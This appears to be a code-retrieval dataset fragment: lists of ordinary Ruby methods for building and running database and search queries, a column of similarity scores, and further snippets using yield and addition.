"def retrieve_query\n if params[:set_filter] or !session[:query] or session[:query].project_id\n # Give it a name, required to be valid\n @query = Query.new(:name => \"_\", :executed_by => logged_in_user)\n if params[:fields] and params[:fields].is_a? Array\n params[:fields].each do |field|\n @query.add_filter(field, params[:operators][field], params[:values][field])\n end\n else\n @query.available_filters.keys.each do |field|\n @query.add_short_filter(field, params[field]) if params[field]\n end\n end\n session[:query] = @query\n else\n @query = session[:query]\n end\n end",
"def query_for(source, other_query = nil)\n repository_name = relative_target_repository_name_for(source)\n\n DataMapper.repository(repository_name).scope do\n query = target_model.query.dup\n query.update(self.query)\n query.update(source_scope(source))\n query.update(other_query) if other_query\n query.update(:fields => query.fields | target_key)\n end\n end",
"def register_percolator_query(query_name, options = {})\n server.request(:put, percolator_query_path(query_name), nil, options)\n end",
"def raw_query\n <<~GQL\n query ($workflowName: String, $customId: ID, $environmentName: String, $programmingLanguage: String) {\n findWorkflow(environmentName: $environmentName, programmingLanguage: $programmingLanguage, customId: $customId, name: $workflowName) {\n name\n properties\n }\n }\n GQL\n end",
"def perform_query(query, operand)\n# STDERR.puts \"perform_query(q '#{query}', op '#{operand}')\"\n records = []\n\t\t \n if operand.is_a?(DataMapper::Query::Conditions::NotOperation)\n#\tSTDERR.puts \"operand is a NOT operation\"\n\tsubject = operand.first.subject\n\tvalue = operand.first.value\n elsif operand.subject.is_a?(DataMapper::Associations::ManyToOne::Relationship)\n#\tSTDERR.puts \"operand subject is a many-to-one relation: '#{operand.subject.inspect}'\"\n\tif operand.subject.parent_model == NamedQuery && operand.subject.child_model == Bug\n\t name = operand.value[operand.subject.parent_key.first.name]\n\t bugs = named_query(name)\n\t bugs.each do |bug|\n\t records << bug_to_record(query.model, bug)\n\t end\n\t return records\n\telse\n\t raise \"Unknown parent (#{operand.subject.parent_model}) child (#{operand.subject.child_model}) relation\"\n\tend\n else\n#\tSTDERR.puts \"operand is normal\"\n\tsubject = operand.subject\n\tvalue = operand.value\n end\n \n if subject.is_a?(DataMapper::Associations::ManyToOne::Relationship)\n#\tSTDERR.puts \"subject is a many-to-one relation\"\n\tsubject = subject.child_key.first\n end\n \n # typical queries\n #\n \n# STDERR.puts \"perform_query(subject '#{subject.inspect}', value '#{value.inspect}')\"\n case query.model.name\n when \"Bug\"\n\tif query.model.key.include?(subject)\n\t # get single <bug>\n\t bugs = get_bugs(value)\n\t records << bug_to_record(query.model, bugs.first)\n\telse\n\t raise \"Unknown query for bug\"\n\tend\n when \"NamedQuery\"\n\trecords << { subject.name.to_s => value }\n\t# be lazy: do the actual named query when NamedQuery#bugs gets accessed\n else\n\traise \"Unsupported model '#{query.model.name}'\"\n end\n \n records\n end",
"def build_query(params)\n query = UserInteraction.includes(:user, :interaction, :answer)\n fields = get_fields()\n params.each do |filter|\n field_id = filter['field'].to_sym\n operator = filter['operand']\n operand = filter['value']\n if operator == FILTER_OPERATOR_CONTAINS\n query = query.where( get_active_record_expression(fields[field_id]['column_name'], operator, fields[field_id]['model']), \"%\"+operand.to_s+\"%\" )\n else\n query = query.where( get_active_record_expression(fields[field_id]['column_name'], operator, fields[field_id]['model']), operand )\n end\n end\n return query \n end",
"def query\r\n query_name = @request.ole_methods.detect{|m| m.to_s =~ /Query\\Z/}\r\n return nil if query_name.nil?\r\n @request.send(query_name.to_s.to_sym)\r\n end",
"def retrieve_query\r\n if params[:query_id]\r\n @query = @project.queries.find(params[:query_id])\r\n @query.executed_by = logged_in_user\r\n session[:query] = @query\r\n else\r\n if params[:set_filter] or !session[:query] or session[:query].project_id != @project.id\r\n # Give it a name, required to be valid\r\n @query = Query.new(:name => \"_\", :executed_by => logged_in_user)\r\n @query.project = @project\r\n if params[:fields] and params[:fields].is_a? Array\r\n params[:fields].each do |field|\r\n @query.add_filter(field, params[:operators][field], params[:values][field])\r\n end\r\n else\r\n @query.available_filters.keys.each do |field|\r\n @query.add_short_filter(field, params[field]) if params[field]\r\n end\r\n end\r\n session[:query] = @query\r\n else\r\n @query = session[:query]\r\n end\r\n end\r\n end",
"def filter(*query_names, &block)\n each_query(query_names) do |query|\n query.add_filter(block)\n end\n end",
"def to_query\n hash = {:fields => [], :operators => {}, :values => {}}\n active_filters.each do |f|\n hash[:fields] << f.name\n hash[:operators][f.name] = f.operator\n hash[:values][f.name] = f.value\n end\n hash.to_query\n end",
"def run_query(query, options={})\n query = prepare_query query, options\n\n # Run the query\n response = self.__elasticsearch__.search query\n\n Hashie::Mash.new({\n records: response.records,\n total_entries: response.results.total\n })\n end",
"def get_query\n \n # Get query parameters passed\n query_params = request.query_parameters\n \n # Initialize query with country from route\n query = {'country' => params[:country]}\n \n # Allowed search terms, only these keys are searchable \n search_keys = ['name', 'a_id', 'pub_id', 'device', 'min_price', 'max_price',\n 'pub_name', 'min_app_rating', 'max_app_rating',\n 'category', 'sub_category', 'interests_only']\n \n # Iterate through the keys, determine if the params match the key and if so \n # add a condition to the query\n search_keys.each do |key|\n param = query_params[key]\n \n # Make sure the parameter is defined \n next unless param\n \n #logger.info('key %s, param %s' % [key, param])\n \n # handlers for different keys\n case key\n when 'a_id', 'pub_id'\n # IDs are floats so convert\n query[key] = query_params[key].to_f\n when 'name', 'pub_name'\n # Do regex match on names so you can match substring\n query[key] = /#{query_params[key]}/\n when 'min_price'\n query['amount'] = {} unless query['amount']\n query['amount'][:$gte] = param.to_f\n when 'max_price'\n query['amount'] = {} unless query['amount']\n query['amount'][:$lte] = param.to_f\n when 'min_app_rating'\n query['total_average_rating'] = {} unless query['total_average_rating']\n query['total_average_rating'][:$gte] = param.to_f\n when 'max_app_rating'\n query['total_average_rating'] = {} unless query['total_average_rating']\n query['total_average_rating'][:$lte] = param.to_f\n when 'interests_only'\n interest_query = []\n param.split(',').each do |interest|\n interest_query << {:interests => interest}\n end\n # And filter only the apps that have either one of the interests\n query[:$and] = [{:$or => interest_query}]\n else\n # Deals with all the parameters that are specified and match with\n # the model attributes\n query[key] = param\n end\n end\n \n return query\n end",
"def data_by_query(query_params)\n post_request( \"/api/v2_1/api/persons/search\",\n Formatter::RequestFormatter.format_person_search_query_data(query_params))\n end",
"def query_def; query.name; end",
"def run_query()\n return nil unless @query\n \n gres = @query.execute()\n if @filterClass \n fres = @filterClass.filter(gres)\n res = fres.kind_of?(Array) ? fres.join(\"\\n\") : fres.to_s\n elsif @filterBlock \n fres = @filterBlock.call(gres)\n res = fres.kind_of?(Array) ? fres.join(\"\\n\") : fres.to_s\n else\n res = fres.result_s\n end\n res\n end",
"def for_query(query)\n all.find { |f| f.query == query }\n end",
"def _query(q, params={})\n engine = Java::OrgNeo4jCypherJavacompat::ExecutionEngine.new(db)\n result = engine.execute(q, Core::HashWithIndifferentAccess.new(params))\n Neo4j::Cypher::ResultWrapper.new(result)\n end",
"def base_query\n DataServicesApi::QueryGenerator.new\n end",
"def normalize_query(query, filters)\n filter = normalize_filters filters\n query ||= {match_all: {}}\n return query unless filter\n {filtered: {\n query: query,\n filter: filter,\n }}\n end",
"def query(&block)\n Query.new(self, &block)\n end",
"def addQueryName(theName)\n @metadata.addQueryName(theName)\n end",
"def where(query = {})\n payload = api.call('interface', [ query ], namespace: :mapping)\n\n raise SNT::PMS::Errors::PMSError, payload['errors'] if payload.key?('errors')\n\n payload['results'].inject([]) do |objects, obj|\n # Select the attributes from the attributes key\n object_attributes = obj.map { |k, v| [k.tr('-', '_').to_sym, v] }.to_h\n\n objects << new(object_attributes)\n end\n end",
"def perform\n qe = QueryExecutor.new(map, reduce,functions, query_id.to_s, filter)\n results = qe.execute\n result = Result.new results\n result.query = Query.find(query_id)\n result.save!\n end",
"def results(base_query)\n return base_query if @filters.nil?\n base_query.where @filters\n end",
"def connect_query_model(name, query_model_class: r(:query_model_class), events: r(:events))\n query_models[name] =\n query_model_class.new(@query_database[name])\n\n events.each do |event_name|\n @message_bus.register(event_name, query_models[name])\n end\n end",
"def generate(filters)\n raise \"Not refactored yet!\"\n seen_associations = Set.new\n filters.each do |(attr, spec)|\n column_name = _mapped_filter(attr)\n unless column_name\n msg = \"Filtering by #{attr} is not allowed. No implementation mapping defined for it has been found \\\n and there is not a model attribute with this name either.\\n\" \\\n \"Please add a mapping for #{attr} in the `filters_mapping` method of the appropriate Resource class\"\n raise msg\n end \n if column_name.is_a?(Proc)\n bindings = column_name.call(spec)\n # A hash of bindings, consisting of a key with column name and a value to the query value\n bindings.each{|col,val| expand_binding(column_name: col, op: spec[:op], value: val )}\n else\n expand_binding(column_name: column_name, **spec)\n end\n end\n query\n end",
"def query(&blk)\n @adapter.query(collection, self, &blk)\n end",
"def solr_query(query, options = {})\n query_options = generate_query_options(query, options)\n activerecord_options = extract_activerecord_options(options)\n SolrSearchable::Handler::Select.new(query_options, self, {:format => :raw}).execute\n end",
"def get_query_response(query, cursor=nil)\n envelope = { :qname => {:query => query, :escape => false }}\n envelope[:qname][:cursor] = cursor if cursor\n \n response = http_request mqlread_service_url, :queries => envelope.to_json\n result = JSON.parse response\n inner = result['qname']\n handle_read_error(inner)\n Ken.logger.info \"<<< Received Response: #{inner['result'].inspect}\"\n inner\n end",
"def execute(query = {})\n unless query[:region] && query[:cluster_name]\n detected = autodetect_cluster_or_throw\n [:region, :cluster_name].each do |key|\n query[key] = detected[key] if query[key].nil?\n end\n end\n\n cluster = @finder.find(query)\n @stdout.puts(JSON.pretty_generate(cluster.to_hash))\n end",
"def query_builder(command_name, database_name, command)\n # always skip the command name\n skip = SKIP_KEYS | [command_name.to_s]\n\n result = {\n operation: command_name,\n database: database_name,\n collection: command.values.first\n }\n\n command.each do |key, value|\n result[key] = quantize_statement(value, skip) unless skip.include?(key)\n end\n\n result\n end",
"def execute(query, request_token: nil, work_group: nil)\n if @database_name\n resp = @client.start_query_execution(\n query_string: query,\n query_execution_context: context,\n result_configuration: result_config,\n client_request_token: request_token,\n work_group: work_group\n )\n else\n resp = @client.start_query_execution(\n query_string: query,\n result_configuration: result_config\n )\n end\n\n return Athens::Query.new(self, resp.query_execution_id)\n end",
"def search_query\n query = @grouping_class.new(sanitized_attributes, params)\n data = query.run\n @search_data = Rails.cache.fetch(['search_data', params], expires_in: 1.week) do\n query.build_hash(data, params)\n end\n @filtered_data = query.filter(@search_data, params)\n render :json => Kaminari.paginate_array(@filtered_data).page(params[:page]).per(params[:per_page]),\n :meta => metadata(@filtered_data, params)\n end",
"def search\n\n # define the elasticsearch result \"size\" (limit)\n limit = params['limit'].to_i\n # define the elasticsearch result \"from\" (offset)\n offset = params['offset'].to_i\n # Pass through\n hack = params['hack']\n # Default output\n searchResults = ''\n # If we have filters, we need to parse them\n if params['filters'].present?\n filters = []\n # For each of the filters format them and stuff them into an array\n params['filters'].each do |key, filter|\n\n if [\n 'properties.educationalAlignment.properties.targetName',\n 'properties.inLanguage',\n 'properties.isBasedOnUrl',\n 'properties.thumbnailUrl',\n 'properties.timeRequired',\n 'properties.typicalAgeRange',\n 'properties.url',\n 'properties.useRightsUrl'\n ].include?(key)\n searchKey = \"schema-org.#{key}.original\"\n matchTerm = 'term'\n else\n searchKey = \"schema-org.#{key}\"\n matchTerm = 'match'\n end\n\n if filter.keys.count > 1\n # This is more complex because this filter type needs the keys or'd together\n orFilters = []\n filter.keys.each do |f|\n orFilters << { 'query' => { matchTerm => { searchKey => f.to_s } } }\n end\n filters << { 'or' => orFilters }\n else\n # This should be simple, there is only one of this filter key\n filters << { 'query' => { matchTerm => { searchKey => filter.keys.first.to_s } } }\n end\n end\n\n # If the query is present we need to match it\n if params['query'].present?\n query = { 'match' => { '_all' => params['query'] } }\n filter = { 'and' => filters }\n # If no query is present then we can wildcard against anything\n else\n query = { 'match_all' => { } }\n filter = { 'and' => filters }\n end\n # if not filter is present then just match against query\n else\n query = { 'match' => { '_all' => params['query'] } }\n end\n\n # Build the payload from the various parts\n payload = {\n 'size' => limit,\n 'from' => offset,\n 'query' => {\n 'filtered' => {\n 'query' => query,\n 'filter' => filter\n }\n },\n \"facets\" => {\n \"intendedEndUserRole\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.intendedEndUserRole.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"typicalAgeRange\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.typicalAgeRange.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"educationalUse\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.educationalUse.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"interactivityType\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.interactivityType.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"learningResourceType\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.learningResourceType.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"mediaType\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.mediaType.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n }\n }\n }\n\n#puts \"PAYLOAD\"; puts Rails.configuration.elastic_search_url; puts payload.to_json\n\n # Okay after all that mess, lets make the request\n request = RestClient::Request.new( :method => :get, :url => Rails.configuration.elastic_search_url, :payload => payload.to_json )\n # Since this can error lets catch it\n begin\n searchResults = request.execute\n results = JSON.parse(searchResults)\n results[:hack] = hack\n\n#puts \"RESPONSE\"; puts results.to_json\n\n respond_to do |format|\n format.json { render json: results }\n end\n rescue => e\n # @TODO Need to return the correct error type and then an error message to be shown to user.\n respond_to do |format|\n format.json { render json: searchResults }\n end\n#puts \"ERROR!\"; puts e.response\n end\n\n end",
"def get_query_with_http_info(query_name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.get_query ...\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.get_query\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/{queryName}\".sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'QueryDefinition')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#get_query\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def compile_query\n #puts \"DATASET COMPILE self #{self}\"\n #puts \"DATASET COMPILE queries #{queries}\"\n \n # Old way: works but doesn't handle fmp compound queries.\n #query.each_with_object([{},{}]){|x,o| o[0].merge!(x[0] || {}); o[1].merge!(x[1] || {})}\n \n # New way: handles compound queries. Reqires ginjo-rfm 3.0.11.\n return unless queries # This should help introspecting dataset that results from record deletion. TODO: test this.\n queries.inject {|new_query,scope| apply_scope(new_query, scope)} ##puts \"SCOPE INJECTION scope:#{scope} new_query:#{new_query}\"; \n end",
"def query_solr(query_builder:, query_params:)\n # Default on subcollection (or any non-work) search\n if(query_builder.search_includes_models != :works)\n return orderless_search(query_builder, query_params)\n end\n\n # Default on work searches without orders\n collection_id = query_params['id']\n order_obj = Tufts::Curation::CollectionOrder.where(collection_id: collection_id, item_type: :work).first\n if(order_obj.nil? || order_obj.order.blank?)\n return orderless_search(query_builder, query_params)\n end\n\n per_page = query_params[\"per_page\"].to_i\n \n #set when there is no default\n if per_page == 0\n per_page = 24\n end\n\n page_number = query_params[\"page\"]\n \n if page_number.nil?\n page_number = 1\n else\n page_number = page_number.to_i\n end\n\n work_order = order_obj.order\n\n query_params[\"start\"] = \"0\"\n query_params[\"page\"] = 1\n response = repository.search(query_builder.with(query_params).merge(rows: 1000).query)\n \n docs = response[\"response\"][\"docs\"]\n docs = docs.sort_by do |e|\n id = e[\"id\"]\n\n tag_to_end = 0\n if id.nil?\n sort = work_order.length + tag_to_end\n tag_to_end +=1\n else\n if work_order.index(id).nil?\n sort = work_order.length + tag_to_end\n tag_to_end +=1\n else\n sort = work_order.index(id)\n end\n end\n sort\n end\n \n if page_number == 1\n offset_start = 0\n else\n offset_start = (page_number * per_page) - per_page\n end\n\n offset_end = offset_start + (per_page-1)\n\n docs = docs[offset_start..offset_end]\n \n response[\"responseHeader\"][\"params\"][\"rows\"] = per_page\n response[\"responseHeader\"][\"params\"][\"page\"] = page_number\n response[\"responseHeader\"][\"params\"][\"start\"] = offset_start\n response[\"response\"][\"docs\"] = docs\n\n response\n end",
"def query(query, params={})\n query_url = \"#{API_URL}/query.json?#{query}\"\n perform_get_request(query_url, params)\n end",
"def run_query(q)\n return sky_table.query(q)\n end",
"def method_missing(method_name, *args, &block)\n if Query.instance_methods(false).include?(method_name)\n Query.new(self).send(method_name, *args, &block)\n else\n super\n end\n end",
"def query(_tql)\n raise NotImplementedError.new\n end",
"def query_projection_default(query)\n apply_projections(query, @build.projections({ include: @render_fields }))\n end",
"def to_query\n {\n json: query\n }\n end",
"def to_query\n {\n json: query\n }\n end",
"def search(query)\n\t\t query = \"%#{query}%\"\n\t\t name = arel_table[:name].matches(query)\n\t\t aliases = arel_table[:aliases].matches(query)\n\t\t where(name.or(aliases))\n\t\tend",
"def search(query)\n results(query).map { |r| result_class.new(r) }\n end",
"def index\r\n @query_params = {}\r\n\r\n build_query_params(params)\r\n build_query_consultant_params\r\n\r\n @conditions = []\r\n @conditions << Consultant.arel_table[:name].matches(\"%#{@query_params[:name]}%\") if @query_params[:name]\r\n\r\n if @conditions.length > 0\r\n conditions = @conditions[0]\r\n @conditions.each_with_index do |item, index|\r\n conditions = conditions.or(item) if index > 0\r\n end\r\n @conditions = conditions\r\n end\r\n\r\n respond_to do |format|\r\n format.html { set_consultants_grid(@conditions) }\r\n format.json { render json: Consultant.where(@conditions) }\r\n end\r\n end",
"def make_query(query)\n puppetdb_client = Puppet.lookup(:bolt_pdb_client)\n # Bolt executor not expected when invoked from apply block\n executor = Puppet.lookup(:bolt_executor) { nil }\n executor&.report_function_call(self.class.name)\n\n puppetdb_client.make_query(query)\n end",
"def call\n compiled_query = compile_query\n wrap_data(compiled_query ? layout.find(*compiled_query) : layout.all(DEFAULT_REQUEST_OPTIONS))\n end",
"def mqlread(query, options = {})\n Ken.logger.info \">>> Sending Query: #{query.to_json}\"\n cursor = options[:cursor]\n if cursor\n query_result = []\n while cursor\n response = get_query_response(query, cursor)\n query_result += response['result']\n cursor = response['cursor']\n end\n else\n response = get_query_response(query, cursor)\n cursor = response['cursor']\n query_result = response['result']\n end\n query_result\n end",
"def query(query_parameters)\n mediawiki('query', query_parameters)\n end",
"def query(query_parameters)\n mediawiki('query', query_parameters)\n end",
"def map\n @person = Person.find(params[:id])\n map_q(@person, params)\n end",
"def _query(*params)\n fail 'not implemented'\n end",
"def buil_must_query_filter\n query_filter = [{ 'range' => date_range_filter }]\n query_filter | @raw_query\n end",
"def controller_query(sObjectType, hQuery, params = nil)\n _add_instant_config(params)\n\n # Check if we can re-use a previous query\n list = @object_data[:query, sObjectType]\n unless list.nil?\n if list[:query] == hQuery\n Lorj.debug(3, \"Using Object '%s' query cache : %s\",\n sObjectType, hQuery)\n return list\n end\n end\n\n controller_params = _get_controller_params(sObjectType,\n :query_e, :query)\n controller_query = _query_map(sObjectType, hQuery)\n\n controller_obj = @controller.query(sObjectType, controller_query,\n controller_params)\n\n data_obj = Lorj::Data.new :list\n data_obj.base = self\n data_obj.set(controller_obj,\n sObjectType, hQuery) do |sObjType, key|\n begin\n _return_map(sObjType, key)\n rescue => e\n PrcLib.runtime_fail 'query %s.%s : %s',\n @process.class, sObjectType, e.message\n end\n end\n\n Lorj.debug(2, 'Object %s - queried. Found %s object(s).',\n sObjectType, data_obj.length)\n\n @object_data.add data_obj\n\n _remove_instant_config(params)\n\n data_obj\n end",
"def query_full\n query = @initial_query.dup\n\n # restrict to select columns\n query = query_projection(query)\n\n #filter\n query = query_filter(query)\n\n # sorting\n query = query_sort(query)\n\n # paging\n query_paging(query)\n end",
"def retrieve_query\r\n if !params[:query_id].blank?\r\n cond = \"project_id IS NULL\"\r\n cond << \" OR project_id = #{@project.id}\" if @project\r\n @query = Query.find(params[:query_id], :conditions => cond)\r\n @query.project = @project\r\n session[:query] = {:id => @query.id, :project_id => @query.project_id}\r\n else\r\n if params[:set_filter] || session[:query].nil? || session[:query][:project_id] != (@project ? @project.id : nil)\r\n # Give it a name, required to be valid\r\n @query = Query.new(:name => \"_\")\r\n @query.project = @project\r\n if params[:fields] and params[:fields].is_a? Array\r\n params[:fields].each do |field|\r\n @query.add_filter(field, params[:operators][field], params[:values][field])\r\n end\r\n else\r\n @query.available_filters.keys.each do |field|\r\n @query.add_short_filter(field, params[field]) if params[field]\r\n end\r\n end\r\n session[:query] = {:project_id => @query.project_id, :filters => @query.filters}\r\n else\r\n @query = Query.find_by_id(session[:query][:id]) if session[:query][:id]\r\n @query ||= Query.new(:name => \"_\", :project => @project, :filters => session[:query][:filters])\r\n @query.project = @project\r\n end\r\n end\r\n end"
] |
[
"0.66513664",
"0.6587442",
"0.64482677",
"0.6072803",
"0.5669075",
"0.5622368",
"0.5517886",
"0.5517126",
"0.54819125",
"0.5371464",
"0.53676987",
"0.5334596",
"0.5211745",
"0.52005094",
"0.51694584",
"0.5157365",
"0.5155449",
"0.5119481",
"0.5110725",
"0.5107837",
"0.50692064",
"0.50570774",
"0.505277",
"0.50232613",
"0.50232613",
"0.50227284",
"0.50119764",
"0.50085837",
"0.4990846",
"0.4982279",
"0.49697605",
"0.4949774",
"0.49290594",
"0.49247992",
"0.4903949",
"0.48825806",
"0.48761627",
"0.48568144",
"0.4846974",
"0.48420754",
"0.4837445",
"0.48281312",
"0.48258653",
"0.48215657",
"0.48117486",
"0.4801529",
"0.47997662",
"0.47792634",
"0.4772869",
"0.47686046",
"0.47571945",
"0.47529715",
"0.4750509",
"0.47354418",
"0.47312623",
"0.47192314",
"0.47161993",
"0.47080237",
"0.47073323",
"0.4707197",
"0.4703815",
"0.47017047",
"0.4698519",
"0.46796232",
"0.46678618",
"0.4667054",
"0.46659833",
"0.46609557",
"0.46576652",
"0.46499592",
"0.46499506",
"0.46469945",
"0.46420854",
"0.46308225",
"0.46295294",
"0.46281776",
"0.46219155",
"0.46149474",
"0.46142927",
"0.46133345",
"0.46079203",
"0.46059582",
"0.46058375",
"0.46032202",
"0.46026477",
"0.46026477",
"0.45995224",
"0.45884907",
"0.4588198",
"0.45844552",
"0.4583747",
"0.4576232",
"0.4573821",
"0.4573821",
"0.45737472",
"0.45730776",
"0.45717403",
"0.45705485",
"0.456815",
"0.4567038"
] |
0.54914474
|
8
|
Add these two objects and yield a third.
|
def +(other_money)
Money.new(amount +
other_money.convert_to(currency).amount,
self.currency)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def two\n\tyield 1, 2\nend",
"def adding(a, b, &c)\n yield(a + b)\nend",
"def combine(one, two)\n\n tuples = []\n\n one.each do |o|\n two.each do |t|\n pair = [o, t]\n tuples << pair\n yield o, t if block_given?\n end\n end\n\n tuples\nend",
"def concat(other)\n other.each do |obj|\n add obj\n end\n self\n end",
"def +(other)\n other.each do |dep|\n add dep\n end\n self\n end",
"def each\n yield self[0]\n yield self[1]\n end",
"def func a, b\n a + yield(b, 3)\nend",
"def add(x)\n\ty = yield\n\tputs x + y\nend",
"def add(other)\n @x = @x + other.x\n @y = @y + other.y\n @z = @z + other.z\n self\n end",
"def add_two(number)\n return number.next.next\nend",
"def +(other)\n raise TypeError unless other.kind_of?(self.class)\n return self if other.zero?\n return (self + other.prev).next\n end",
"def twice\n\tyield\n\tyield\nend",
"def combine_ins(obj); end",
"def each\n yield @x\n yield @y\n end",
"def +(other)\n combine(:add, other)\n end",
"def each\n yield @x\n yield @y\n end",
"def each\n yield @x\n yield @y\n end",
"def yield_twice\n yield\n yield\nend",
"def combine( other )\n if other.kind_of?(Numeric)\n return combine_int( other ) { |x,y| yield(x,y) }\n end\n\n new_dist = []\n @prob.each do |el1| \n other.prob.each do |el2|\n\tnew_dist.push( Freq.new( yield( el1.value, el2.value ),\n\t\t\t\tel1.p * el2.p))\n end\n end\n result = Freq_dist.new\n result.set_arr( new_dist.sort )\n result.coalesce\n result\n end",
"def **(other)\n self + other\n end",
"def threeTimes\n yield\n yield\n yield\nend",
"def threeTimes\n yield\n yield\n yield\nend",
"def threeTimes\n yield\n yield\n yield\nend",
"def |(other)\n# new_z = self.z unless self.z != other.z\n self.class.new(self.x + other.x, self.y + other.y, self.z)\n end",
"def add(*args, &block)\n all << new(*args, &block)\n end",
"def +(*others)\n self.dup.add!(*others)\n end",
"def concat(other)\n #raise TypeError unless other.kind_of?(self.class)\n _clear_cache\n other.each_node do |node|\n self.add_node(node)\n end\n other.each_edge do |node1, node2, edge|\n self.add_edge(node1, node2, edge)\n end\n self\n end",
"def *(other)\n raise TypeError unless other.kind_of?(self.class)\n return @@Zero if other == @@Zero\n return (self * other.prev) + self\n end",
"def combine_ins(obj)\n super\n if obj.type != 'list'\n temp = Node.new_x(obj.first.value)\n temp.next = self.first\n self.first = temp\n else\n temp = Node.new_x(obj)\n temp.next = self.first\n self.first = temp\n end\n @size += 1\n end",
"def +(another)\n self.concat(another)\n end",
"def add(this, that)\n\tthis + that\nend",
"def add_two_numbers(l1, l2)\n num1 = num_creator(l1)\n num2 = num_creator(l2)\n \n res = num1 + num2\n \n list_creator(res)\nend",
"def sum\n if block_given?\n inject(0) { |a,b| a+(yield b) }\n else\n inject(0) { |a,b| a+b }\n end\n end",
"def combine(*others)\n Graph.new(self, others)\n end",
"def +(other)\n Resistor::CombinedResistor.new(@ohm + other.ohm)\n end",
"def +(other)\n # !!!! + is NOT commutative\n if other.null?\n self\n elsif self.null?\n other\n else\n Tasks::Sequence.new << self << other\n end\n end",
"def +(enum)\n Enumerator.new do |y|\n self.each { |x| y.yield(x) }\n enum.each { |x| y.yield(x) }\n end\n end",
"def +(other)\n combine(:+, other) || fail(TypeError, \"Can't add #{other} to #{self}.\")\n end",
"def each \r\n @x1.upto(@x2) { |x|\r\n @y1.upto(@y2) { |y|\r\n yield x,y\r\n }\r\n }\r\n end",
"def ret_block\n x = 1\n y = 2\n z = 3\n yield(x,y,z)\n yield(x)\n yield(x,x,x,x)\n yield([x,y,z])\nend",
"def test_can_add_2_objects\n result = interpret '~{foo: 1,bar: 2} + ~{baz: 3, qxy: 4}'\n assert_eq result, {:foo => 1, :bar => 2, :baz => 3, :qxy => 4}\n end",
"def add(x, y, z)\n Goal.either(\n Goal.both(\n Goal.equal(x, ZERO),\n Goal.equal(y, z)\n ),\n Goal.with_variables { |smaller_x, smaller_z|\n Goal.both(\n Goal.both(\n Goal.equal(x, Pair.new(INC, smaller_x)),\n Goal.equal(z, Pair.new(INC, smaller_z))\n ),\n add(smaller_x, y, smaller_z)\n ) \n }\n )\nend",
"def union itemA, itemB\n\tend",
"def +(other)\n self.class.new(self.x + other.x, self.y + other.y, self.z.to_i + other.z.to_i)\n end",
"def add(*args, &block)\n\n end",
"def concatinate(other_obj)\n TstLog(\"Sequence concatinate: #{other_obj}\")\n @elements += other_obj.elements\n @length += other_obj.length\n self\n end",
"def add_two_numbers(l1, l2)\n l1_str = to_reverse_string(l1)\n l2_str = to_reverse_string(l2)\n\n head = nil\n node = nil\n\n yield_digits(l1_str.to_i + l2_str.to_i) do |i| \n if node.nil?\n node = ListNode.new\n head = node \n else \n node.next = ListNode.new\n node = node.next\n end\n\n node.val = i\n end\n\n head\nend",
"def chain(other)\n other.each { |handler| use(handler) }\n self\n end",
"def two_times\n yield\n yield\nend",
"def concat(*other)\n Observable.concat(self, *other)\n end",
"def add(*args, &block)\n end",
"def +(other)\n raise ArgumentError, '+ requires another Enumerable!' unless other.class < Enumerable\n\n merged_thimble = ThimbleQueue.new(length + other.length, @name)\n each { |item| merged_thimble.push(item) }\n other.each { |item| merged_thimble.push(item) }\n merged_thimble\n end",
"def calculate(a,b)\n yield(a, b)\nend",
"def concat(other)\n @requests.concat(other.get_requests())\n self\n end",
"def math(a, b)\n yield(a, b)\nend",
"def math(a, b)\n yield(a, b)\nend",
"def or a, b\n a.prove { yield }\n b.prove { yield }\n end",
"def + other\n #This is a stub, used for indexing\n end",
"def my_method\n yield 1\n yield 2\n yield 3\nend",
"def test1\n yield\n yield\n yield\nend",
"def +(other)\n other.inject(clone) do |copy, e|\n copy << e\n end\n end",
"def adder i=1\n yield+i\nend",
"def i_generate\n yield 1\n yield 2\nend",
"def each_product_pair(other)\n if block_given?\n self.each do |this|\n other.each do |that|\n yield [this, that]\n end\n end\n else\n enum_for(:each_product_pair, other)\n end\n end",
"def >> (other)\n other << self\n end",
"def +(other)\n result = self\n number = other.to_i\n\n number.abs.times do\n if number < 0\n result = result.previous\n else\n result = result.next\n end\n end\n\n result\n end",
"def f()\n yield 10,20\n yield 20\n yield 30,40\nend",
"def adder(amount=1)\n yield + amount\nend",
"def +(other)\n case other\n when self.class\n self.class.new(@list + other.to_a, type: @type, api_client: @api_client)\n when @type\n self.class.new(@list + [other], type: @type, api_client: @api_client)\n else\n raise Exceptions::InvalidArguments\n end\n end",
"def calculation(a, b)\n yield(a, b)\nend",
"def merge(other)\n result = super\n\n result.sources = other.sources + self.sources\n result\n end",
"def mappend\n result = []\n self.each { |a| b = yield(a); b.each { |c| result << c } if b }\n result\n end",
